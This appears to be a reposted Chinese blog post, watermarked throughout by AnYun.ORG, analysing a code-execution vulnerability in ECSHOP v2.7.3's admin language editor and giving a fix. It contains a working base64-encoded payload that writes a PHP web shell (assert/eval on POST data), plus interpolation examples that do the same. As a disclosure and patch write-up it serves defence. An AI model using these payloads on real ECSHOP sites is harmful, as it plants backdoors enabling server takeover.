安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WEB安全 > ECSHOP v2.7.3注入漏洞分析和修复

ECSHOP v2.7.3注入漏洞分析和修复

时间:2016-12-28来源:http://www.cnblogs.com/newgold 作者:安云网点击:
测试版本 漏洞条件 漏洞利用 产生原因 修复方案 1.测试版本 v2.7.3 RELEASE 20121106(最新) v2.7.3 RELEASE 20120411 2.漏洞条件 需登录到后台 3.漏洞利用 1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信
  1. 测试版本 //内容来自AnYun.ORG

  2. 漏洞条件 //安云网咨询系统

  3. 漏洞利用 //内容来自AnYun.ORG

  4. 产生原因

    //copyright AnYun.ORG

  5. 修复方案 //内容来自安云网

1.测试版本

v2.7.3 RELEASE 20121106(最新) 
v2.7.3 RELEASE 20120411 //内容来自安云网

2.漏洞条件

需登录到后台

//本文来自安云网

3.漏洞利用

1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息”

//安云网咨询系统


//内容来自AnYun.ORG

为什么要搜索“用户信息”,还可以搜索其它的吗? //内容来自AnYun.ORG

答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 //copyright AnYun.ORG


//copyright AnYun.ORG

2) 添加如下后门,将用户信息改为 //安云网,anyun.org

用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 

//copyright AnYun.ORG

即生成一个JoyChou.php文件,内容为:

//ANYUN.ORG

<?phpassert($_POST[x]
);?> //内容来自AnYun.ORG 


//copyright AnYun.ORG

3) 访问user.php即可产生shell(不用注册登录账户)

//本文来自安云网

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php
或
http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php //安云网咨询系统 


//安云网咨询系统

4.产生原因

在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。

//内容来自AnYun.ORG

复制代码 //内容来自安云网

 for ($i = 0; $i < count($_POST['item_id']); $i++)
    {        /* 语言项内容如果为空,不修改 */
        if (trim($_POST['item_content'][$i]) == '')
        {            unset($src_items[$i]);
        }        else
        {            $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]);            /* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容
               $dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen"; 
            */
            $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';
        }
    } 
//内容来自AnYun.ORG

复制代码 //copyright AnYun.ORG

修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦 //内容来自安云网

$_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}"; //copyright AnYun.ORG 


//内容来自AnYun.ORG

由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。 //内容来自安云网

至于为什么可以执行?原理如下:

//安云网咨询系统

下面这三句话都可以执行,与其说代码执行,不如说参数执行。 //本文来自安云网

<?php 
$a = "${ phpinfo()}";  // 有一个空格$b = "{${phpinfo()}}"; // 多一对{},但是没有空格$c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(\$_POST[1]);?>")}}";$d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串?> //本文来自安云网 

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。

//安云网,anyun.org

/* 载入语言文件 */require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php'); //内容来自AnYun.ORG 

5.漏洞修复

了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

//内容来自AnYun.ORG

修改\admin\edit_languages.php //安云网,anyun.org

// 修复前$dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';  
// 修复后,由于想在单引号之间出现单引号,必须使用转义。$dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';'; 
//ANYUN.ORG

再次访问http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。

//内容来自AnYun.ORG

注:这个注入漏洞很老,但一直存在。我从模板堂下载的ECShop最新版,就含有此漏洞。网站搭建在阿里云,提示服务器上ECShop有注入漏洞,查看后才发现。虽然我已经及时修复,但更多用户可能未曾留意或者没技术支持吧。 //本文来自安云网

这个记录挺完整,转赞

//安云网咨询系统

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容